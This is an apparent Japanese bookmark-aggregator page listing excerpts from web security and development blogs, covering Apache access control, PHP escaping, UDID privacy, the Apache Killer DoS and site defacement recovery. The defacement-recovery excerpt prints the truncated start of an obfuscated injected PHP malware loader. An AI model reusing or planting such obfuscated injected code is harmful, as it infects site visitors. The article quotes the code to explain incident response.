Apache 2.4系でのモダンなアクセス制御の書き方
人間とウェブの未来（旧） 「ウェブの歴史は人類の歴史の繰り返し」という観点から色々勉強しています。2014年までの人間とウェブの未来の旧ブログです。 これまでのApache2.2系以前でのアクセス制御の書き方は賛否両論でした。僕はあまり好きじゃありませんでした。 過去のアクセス制御に関しては、以下の記事がとてもわかりやすくまとめられていると思います。 こせきの技術日記 – Apacheのアクセス制御をちゃんと理解する。 ここで、以下のように言及されています。 こんなバッドノウハウ、本当はどうでもいいと思う。Apache 3.0では、かっこいいDSL(VCL)で書けるようにする構想があるらしいのでがんばってほしい。 ということで、2.4系ではDSLとはいかないまでも、Require*というディレクティブを使ったモダンな書き方ができるようになったので、それを2.2系以前のアクセス制御の記述と比
はてなグループの終了日を2020年1月31日(金)に決定しました - はてなの告知
はてなグループの終了日を2020年1月31日(金)に決定しました 以下のエントリの通り、今年末を目処にはてなグループを終了予定である旨をお知らせしておりました。 2019年末を目処に、はてなグループの提供を終了する予定です - はてなグループ日記 このたび、正式に終了日を決定いたしましたので、以下の通りご確認ください。 終了日: 2020年1月31日(金) エクスポート希望申請期限:2020年1月31日(金) 終了日以降は、はてなグループの閲覧および投稿は行えません。日記のエクスポートが必要な方は以下の記事にしたがって手続きをしてください。 はてなグループに投稿された日記データのエクスポートについて - はてなグループ日記 ご利用のみなさまにはご迷惑をおかけいたしますが、どうぞよろしくお願いいたします。 2020-06-25 追記 はてなグループ日記のエクスポートデータは2020年2月28
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
"リアルタイム Web" に関するプラクティスのアウトプット - Block Rockin’ Codes
追記 11/12/26 MLのスレッドへのリンクが間違っていたので修正。 introduction WebSocket なんかをつかって、従来のステートレスな処理以外に、コネクションを継続するステートフルな処理が可能になりました。 これを利用すると、これまで実装が難しかったリアルタイムな表現を Web に持ち込むことができます。 そして、 WebSocket を用いたプログラムを作成する上で、Node.js と Socket.IO を用いる方法について、 今年はこのブログでも何度か紹介してきました。 今日は今年一年の集大成として、自分が色々試しながら得たリアルタイム Web に関する知識、技術などを、 ここにまとめてアウトプットしたいと思います。 今回お話しするのは、 東京Node学園 3時限目 : ATND で発表した下記内容の抜粋です。 Node Academy | "About Sl
Android アプリ「AppNetBlocker」を公開しました : DSAS開発者の部屋
（2015年5月追記） この記事に掲載の「AppNetBlocker」は Android 5.0 以降の環境では正しく動作しません。記録としてアプリ本体へのリンクは当面残しますが、コメント欄に何度か記載の通りこのアプリケーションの開発はすでに終了しており、今後改訂を行う予定はありません。ご了承下さい。 以前から自分自身がほしいと思っていた Android アプリが形になったためマーケットで公開しました。 今回はそのアプリ、「AppNetBlocker」をご紹介します。 AppNetBlocker は、所定のアプリから「完全なインターネットアクセス」の許可を除去するツールです。実行に root 権限は必要ありません。Android 1.6 以上の環境で動作します。興味のある方はご利用下さい。もちろん無料です。 （2011/12/26 追記） 本アプリは、現時点では安全面において不安要素の少な
大垣本を読んで「バリデーションはセキュリティ対策」について検討した - ockeghem(徳丸浩)の日記
このエントリでは、セキュリティの観点から、バリデーション実装について検討します。大垣さんの本を読んで「大垣流バリデーション」について勉強した結果を報告します。 はじめに 大垣さんの記事「入力バリデーションはセキュリティ対策」では、「入力バリデーションはセキュリティ対策である」が力説されています。この記事はおそらくid:ajiyoshiさんのブログ記事「妥当性とは仕様の所作 - SQLインジェクション対策とバリデーション」を受けてのことだと思います。id:ajiyoshiさんのエントリでは、「妥当性検証は仕様の問題であってセキュリティ対策ではありません」と明言されています。私はid:ajiyoshiさんに近い考えを持っていますので、大垣さんの主張について、私なりに考えてみました。 記事を書くにあたり、徳丸の立場を明確にしておきたいと思います。 バリデーションの基準は仕様の問題 バリデーション
PHP5.4のhtmlspecialcharsに非互換問題
第3引数を指定していない場合の影響前述のように、htmlspecialchars関数の第3引数を指定していない場合、PHP5.3までは、文字エンコーディングがISO-8859-1が指定されたとみなされます。この場合、入力内容にかかわらず不正な文字エンコーディングと判定されることはありません。したがって、文字エンコーディングのチェックが働かない代わりに、エラーになることもありませんでした。 これに対して、PHP5.4の仕様により文字エンコーディングがUTF-8とみなされた場合に、Shift_JISやEUC-JPの2バイト文字が入力されると、高い確率で「UTF-8として不正」というエラーになり、htmlspecialchars関数の出力は空になります。つまり、プログラムが正常に動作しません。 htmlspecialchars関数の第3引数を指定しておらず、内部文字エンコーディングがShift_
Cocoaの日々: [iOS] Keychain Services とは
他アプリケーションが格納した Keychain Services 内の情報へのアクセス Mac OS X の場合はユーザが許可を与えれば他のアプリケーションの情報へアクセスすることができる。一方、iOS の場合、アプリケーションは自身が保存した情報のみアクセスが行える。他のアプリケーションの情報へは基本的にアクセスすることができない。ただし同じプロビジョニングプロファイルを使ってビルドされたアプリは設定により情報を共有することができる（後述）。 iOS での特記事項 iOS には単一のキーチェーンのみ存在する（Mac OS X は複数）。 iOS の場合、PC接続時にストレージの内容は暗号化されたままバックアップされる。これを復号化するパスワード(keychain password)はバックアップされない（iOSデバイスの中から外に持ち出されない）。 Keychain Service はプ
![Cocoaの日々: [iOS] Keychain Services とは](https://cdn-ak-scissors.b.st-hatena.com/image/square/ca3ea0cd0fc9e0c5ad79feedebd8d2b280eccf38/height=288;version=1;width=512/http%3A%2F%2F2.bp.blogspot.com%2F_ZoUhefzk0CI%2FTUuVeYYblPI%2FAAAAAAAAGE4%2FsJHma9WmQ-o%2Fs1600%2F110204-0004.png)
UDIDが使えなくなる？！UDIDに代わるUUIDについて » SHINGOLOG
AppStoreのトップカテゴリーの68％はUDIDの収集をしているそうです。UDIDとはiPhoneやiPad、iPod touchに割り振られている識別番号で、プライバシーの問題からUDIDの収集については危険視されてきました。例えば、個人のGPSアプリでいえば、誰がどこにいるのかも簡単に把握できてしまいます。 iOS5からUDIDが使えなくなるわけではないですが、非推奨となるようです。今後は撤廃されて行く方向にあると思いますので、修正しておいた方がいいでしょうね。 UDIDの代わりとなるUUID UUIDとは全世界でユニークになることを目的とした識別子、とのこと。 1000000000000000000000000000000000000通りの乱数です。 多すぎですね(；´Д｀) 実際に組み込み方ですが - (NSString*) getUUID { CFUUIDRef uuid
PostgreSQLは標準でバックスラッシュをエスケープしない仕様になった
PostgreSQL9.1の仕様変更にて、デフォルト時の設定として、standard_conforming_stringsがonとみなされるようになりました。この仕様変更により、デフォルト設定でのPostgreSQLは、バックスラッシュをエスケープする必要がなくなり、ISO規格のSQLと同様のエスケープルール（シングルクォートを重ねるのみ）となります。 PostgreSQLの文字列リテラルは、元々MySQL同様に、バックスラッシュをエスケープする仕様でした。その後、リリース8.1にて、設定パラメータ standard_conforming_strings が追加され、この値が on の場合、バックスラッシュをエスケープしない（ISO規格と同様の）仕様となりました。従来のリリースでは、standard_conforming_stringsを指定しない場合offとみなされていました。これは、後
Apache HTTP Serverの脆弱性を突く「Apache Killer」――パッチは48時間以内にリリース予定 | OSDN Magazine
Apache HTTP Serverの開発チームは8月24日、同Webサーバーの脆弱性を突くDDoS攻撃ツール「Apache Killer」が出回っていると警告した。該当するApacheは1.3系および2系の全バージョン。パッチ発行までユーザーはおのおので対応を講じるよう呼びかけている。 Apache KillerはFull-disclosureというメーリングリストで先週公開された。問題となっているのは「Range header DoS」と呼ばれる脆弱性。リモートから多数のRange指定を含むリクエストを送ることで、ターゲットシステムのメモリとCPUを消費させるというもの。バージョン1.3系および2系のすべてがこの脆弱性を持つという。デフォルト設定ではこの攻撃に対し脆弱で、現在この脆弱性を修正するパッチやリリースはない。Apache Killerではこの脆弱性が悪用され、多数のリクエスト
もし『よくわかるPHPの教科書』の著者が徳丸浩の『安全なWebアプリケーションの作り方』を読んだら - ockeghem's blog
たにぐちまことさんの書かれた『よくわかるPHPの教科書（以下、「よくわかる」）』を購入してパラパラと見ていたら、セキュリティ上の問題がかなりあることに気がつきました。そこで、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方（以下、徳丸本）」の章・節毎に照らし合わせて、「よくわかる」の脆弱性について報告します。主に、徳丸本の4章と5章を参照します。 4.2 入力処理とセキュリティ 「よくわかる」のサンプルや解説では、入力値検証はほとんどしていません。しかし、入力値検証をしていないからといって即脆弱かというとそうではありません。徳丸本でも強調しているように、入力値検証はアプリケーション要件（仕様）に沿っていることを確認するもので、セキュリティ対策が目的ではないからです。 「よくわかる」の中で、私が見た範囲で唯一の入力値検証は、郵便番号のチェックをするものです。以下に引用します（「よくわ
スマフォのリワード広告におけるUDIDに依存しない設計案 - snippets from shinichitomita’s journal
前回のまとめ 前エントリで触れたとおり、スマートフォンのUDIDの問題点というのは、自分の把握する限り３つあった。 1. サーバとのセッションを管理するための認証に使われてしまっている 2. アプリケーションをまたがっての行動トラッキングに使われてしまっている 3. スマフォにおけるリワード広告がUDIDが取れることに依存した実装になっている。 このうち、1. に関しては代替案があり、ほぼ既存のユーザビリティを損なわない形に実装できるものなので、単に実装側の怠慢か知識不足に帰結されると感じている。今の時点でこれほど安易に使われてしまっているのは残念なことではあるかもしれないが、今後改善できる余地がある。 2. に関しては、実はデバイス固有IDであることについてはそれほどこの時点では問題ではなく、単にトラッキングされることに対してユーザの同意も拒否も介在する余地が無い、というところを問題にし
UDIDが使えなくなりそうなので、UIIDを使えるようにしました
■2012/11/11追記 iOS 6より[[UIDevice currentDevice] identifierForVendor]というAPIがAppleより提供され、よりプライバシーに配慮した上により安全な方法で自分の開発したアプリケーションを利用するユーザーを個別に認証することが可能になりました。それに伴い拙作のライブラリもidentifierForVendorが利用可能であればこちらを利用するように修正いたしました。今後はこのidentifierForVendor（または広告APIなどを作る場合であれば[[UIDevice sharedManager] advertisingIdentifier]）が個体認識の主流になっていくと思われます。identifierForVendorとadvertisingIdentifierの仕様まとめは http://stackoverflow.c
あなたのWebアプリケーションは安全か。Google製のセキュリティチェッカー·Skipfish MOONGIFT
SkipfishはSQLインジェクションをはじめWeb向けの脆弱性を発見するソフトウェア。 SkipfishはGoogle製のオープンソース・ソフトウェア。2011年になってセキュリティインシデント関係の話題が飛び交っている。特に大きいのはソニーだろう。あそこまでの規模は相当珍しいが、何も対岸の火事という訳ではない。 オプション セキュリティホールを狙うのは人間に限らない。日々クローラーがWebサイトにアクセスしてセキュリティホールを狙っているのだ。狙われる前にSkipfishを使って自主的にチェックしてみよう。 SkipfishはGoogleが開発したセキュリティチェックソフトウェアだ。ターミナルで動作するソフトウェアで、指定したURLに対してSQLインジェクションやXSSなどWebアプリケーションが狙われやすい脆弱性をついてくる。結果はHTMLベースのレポートとして出力される。 結果は
私はいかにしてソフトバンク端末60機種のJavaScriptを検証したか - ockeghem's blog
昨日のソフトバンクの非公式JavaScript対応の調査結果 | 徳丸浩の日記で報告したように、昨年5月に、ソフトバンク60機種の検証を行い、JavaScript対応の状況などを調査しました。当時はまだ公式なJavaScript対応機種はない状態でしたが、既にほとんどの端末が *非公式に* JavaScriptに対応していました。 このエントリでは、検証の様子を報告します。 なぜJavaScript対応状況を調査したか http://www.hash-c.co.jp/info/20091124.htmlを公表した前後に、とある方（この方）から、ソフトバンクのケータイでもJavaScriptが動作すると伺いました（参考のやりとり）。XMLHttpRequestも含めてJavaScrptが動くと教えていただいた932SHを私も購入して調べたところ、以下が判明しました。 確かにJavaScrip
はてなグループの終了日を2020年1月31日(金)に決定しました - はてなの告知
はてなグループの終了日を2020年1月31日(金)に決定しました 以下のエントリの通り、今年末を目処にはてなグループを終了予定である旨をお知らせしておりました。 2019年末を目処に、はてなグループの提供を終了する予定です - はてなグループ日記 このたび、正式に終了日を決定いたしましたので、以下の通りご確認ください。 終了日: 2020年1月31日(金) エクスポート希望申請期限:2020年1月31日(金) 終了日以降は、はてなグループの閲覧および投稿は行えません。日記のエクスポートが必要な方は以下の記事にしたがって手続きをしてください。 はてなグループに投稿された日記データのエクスポートについて - はてなグループ日記 ご利用のみなさまにはご迷惑をおかけいたしますが、どうぞよろしくお願いいたします。 2020-06-25 追記 はてなグループ日記のエクスポートデータは2020年2月28
実は厄介、ケータイWebのセッション管理
実は厄介、ケータイWebのセッション管理：再考・ケータイWebのセキュリティ（3）（1/3 ページ） “特殊だ”と形容されることの多い日本の携帯電話向けWebサイト。そこには、さまざまな思い込みや性善説の上しか成り立たないセキュリティが横行しています。本連載は、ケータイWebの特殊性をていねいに解説し、正しいケータイWebセキュリティのあるべき姿を考えます（編集部） 「Cookieを使えない端末」でセッションを管理する方法は？ 第2回「間違いだらけの『かんたんログイン』実装法」ですが、多くの方に読んでいただきありがとうございました。 今回は、前回に引き続き架空のSNSサイト「グダグダSNS」のケータイ対応を題材として、ケータイWebのセッション管理の問題点について説明します。携帯電話向けWebアプリケーション（ケータイWeb）のセッション管理は、かんたんログインよりも対策が難しく、厄介な問
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
HTTP通信の詳細内容を一覧表示する「HTTPNetworkSniffer」NOT SUPPORTED
http://www.machu.jp/posts/20110722/p01/
